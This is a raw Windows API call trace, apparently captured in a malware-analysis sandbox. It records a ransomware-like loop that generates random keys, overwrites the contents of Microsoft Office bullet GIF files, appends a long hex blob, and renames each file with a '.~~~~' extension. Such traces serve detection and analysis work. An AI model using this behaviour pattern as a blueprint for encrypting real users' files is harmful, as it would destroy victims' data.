	[0126.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc8c8 | out: hHeap=0x300000) returned 1
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0126.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0126.753] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.753] GetLastError () returned 0x0
	[0126.753] GetLastError () returned 0x0
	[0126.753] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.753] GetLastError () returned 0x0
	[0126.753] GetLastError () returned 0x0
	[0126.755] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffd69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.755] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x297, lpOverlapped=0x0) returned 1
	[0126.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.756] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.756] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.756] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.756] CloseHandle (hObject=0x144) returned 1
	[0126.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0126.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif.~~~~")) returned 1
	[0126.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0126.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.758] GetLastError () returned 0x0
	[0126.758] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.760] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.760] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.760] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24675019493) returned 1
	[0126.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb502a710, dwHighDateTime=0x1d60e1e)) 
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc890
	[0126.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc890 | out: hHeap=0x300000) returned 1
	[0126.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f45b0
	[0126.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f45b0 | out: hHeap=0x300000) returned 1
	[0126.761] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.761] GetLastError () returned 0x0
	[0126.761] GetLastError () returned 0x0
	[0126.761] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.761] GetLastError () returned 0x0
	[0126.761] GetLastError () returned 0x0
	[0126.763] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.763] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xb9, lpOverlapped=0x0) returned 1
	[0126.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.764] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.764] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.764] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.764] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.765] CloseHandle (hObject=0x144) returned 1
	[0126.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f45b0
	[0126.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif.~~~~")) returned 1
	[0126.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f45b0 | out: hHeap=0x300000) returned 1
	[0126.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.768] GetLastError () returned 0x0
	[0126.769] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.770] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.770] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.770] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24676024343) returned 1
	[0126.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb502a710, dwHighDateTime=0x1d60e1e)) 
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc858
	[0126.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc858 | out: hHeap=0x300000) returned 1
	[0126.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4268
	[0126.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0126.771] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.771] GetLastError () returned 0x0
	[0126.771] GetLastError () returned 0x0
	[0126.771] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.772] GetLastError () returned 0x0
	[0126.772] GetLastError () returned 0x0
	[0126.773] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffecc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.773] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x134, lpOverlapped=0x0) returned 1
	[0126.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.776] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.777] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.777] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.777] CloseHandle (hObject=0x144) returned 1
	[0126.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0126.777] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif.~~~~")) returned 1
	[0126.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0126.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.779] GetLastError () returned 0x0
	[0126.779] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.780] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.780] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.781] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24677079506) returned 1
	[0126.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5050870, dwHighDateTime=0x1d60e1e)) 
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc820
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc820 | out: hHeap=0x300000) returned 1
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4658
	[0126.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0126.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.782] GetLastError () returned 0x0
	[0126.782] GetLastError () returned 0x0
	[0126.782] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.782] GetLastError () returned 0x0
	[0126.782] GetLastError () returned 0x0
	[0126.783] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.783] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xb1, lpOverlapped=0x0) returned 1
	[0126.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.785] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.785] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.786] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.786] CloseHandle (hObject=0x144) returned 1
	[0126.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4658
	[0126.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif.~~~~")) returned 1
	[0126.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0126.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.789] GetLastError () returned 0x0
	[0127.306] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2a010b8) returned 1
	[0127.307] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.307] CryptReleaseContext (hProv=0x2a010b8, dwFlags=0x0) returned 1
	[0127.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.308] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24729790788) returned 1
	[0127.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb555f730, dwHighDateTime=0x1d60e1e)) 
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a46420
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a46420 | out: hHeap=0x300000) returned 1
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3890
	[0127.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0127.309] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0127.309] GetLastError () returned 0x0
	[0127.309] GetLastError () returned 0x0
	[0127.309] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0127.309] GetLastError () returned 0x0
	[0127.309] GetLastError () returned 0x0
	[0127.311] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffec9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.312] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x137, lpOverlapped=0x0) returned 1
	[0127.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.314] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.314] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.314] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.314] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.314] CloseHandle (hObject=0x138) returned 1
	[0127.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3890
	[0127.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif.~~~~")) returned 1
	[0127.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0127.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0127.316] GetLastError () returned 0x0
	[0127.316] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fd140) returned 1
	[0127.317] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.317] CryptReleaseContext (hProv=0x29fd140, dwFlags=0x0) returned 1
	[0127.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0127.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0127.317] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24730762030) returned 1
